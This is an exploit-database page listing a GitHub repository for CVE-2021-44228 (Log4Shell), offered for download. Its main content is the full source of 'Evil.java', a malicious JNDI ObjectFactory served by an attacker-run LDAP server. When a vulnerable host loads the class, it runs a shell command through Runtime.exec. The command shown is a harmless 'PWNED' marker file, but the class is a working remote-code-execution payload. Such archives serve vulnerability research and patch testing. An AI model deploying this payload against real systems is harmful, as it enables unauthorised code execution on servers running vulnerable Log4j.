Exploit databaseDownload repository ZIP
GH-d26f254f14fc8a0429bbb6798ca934e5
jaehnri/cve-2021-44228
Sources for CVE-2021-44228
465 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
jaehnri/cve-2021-44228Revision ddd2dde14fca
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
malicious-ldap-server/src/main/java/Evil.java
Suggested starting fileJava · 491 bytesimport javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Evil implements ObjectFactory {
@Override
public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
String[] cmd = {
"/bin/sh",
"-c",
"echo PWNED > /tmp/pwned"
};
Runtime.getRuntime().exec(cmd);
return null;
}
}